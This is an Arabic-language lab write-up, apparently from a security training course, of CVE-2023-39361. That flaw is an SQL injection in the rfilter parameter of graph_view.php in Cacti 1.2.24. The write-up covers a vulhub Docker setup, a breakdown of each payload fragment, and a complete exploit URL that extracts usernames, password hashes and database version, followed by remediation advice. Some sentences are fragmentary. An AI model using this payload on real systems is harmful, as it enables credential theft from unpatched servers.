
إثبات مفهوم لاستغلال CVE-2023-39361، وهي ثغرة حقن SQL في ملف graph_view.php الخاص بأداة Cacti تؤدي إلى تسريب البيانات واحتمالية تنفيذ أوامر عن بُعد (RCE).
[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)
grow_right_pane_tree في ملف graph_view.php داخل خادم Cacti 1.2.24.action إلى tree_content، يوجد معامل rfilter الذي يأتي من إدخال المستخدم.rfilter عبر دالة html_validate_tree_vars، لكن هذا التحقق يفحص فقط ما إذا كان تعبيرًا منتظمًا صالحًا.rfilter في استعلام SQL مما يتيح .docker-compose -v.cacti/CVE-2023-39361/docker-compose.yml و entrypoint.sh داخل vulhub.docker compose up -d (الصورة: cacti:1.2.24).

تحدث هذه الثغرة عندما يتم ضبط إعدادات المصادقة للسماح للمستخدمين العاديين (الضيوف) بمشاهدة الرسوم البيانية.
يمكن التحقق من الثغرة عبر إدخال المعاملات التالية:
%20OR%20""="((" : كود SQL Injection نموذجي يجبر الشرط على أن يكون صحيحًا عبر OR.%20UNION%20SELECT% : لجلب نتائج عشوائية مرغوبة.(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : يطلب قيمة id#username#password.(select%20user()),(select%20version()) : لجلب مستخدم / إصدار قاعدة البيانات.%23 : يمثل # مما يعطل جزء الاستعلام التالي.
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
يُلاحظ أن الخادم استجاب كما هو مطلوب.
هجمات SQL injection تحدث غالبًا أثناء تفاعل الخادم مع إدخال المستخدم. من خلال هجوم SQL injection هذا، تم انتهاك سرية قاعدة البيانات الداخلية، وأسفر ذلك عن تسرب الأصول.
كإجراء لمعالجة هذه الثغرة، يمكن التحقق من صحة قيمة rfilter باستخدام قائمة بيضاء أساسية أو الهروب من الأحرف الخاصة مثل (", ', ;, ...). أو يمكن تحسين النظام باستخدام مكتبات ORM مثل Doctrine عند الوصول إلى قاعدة البيانات.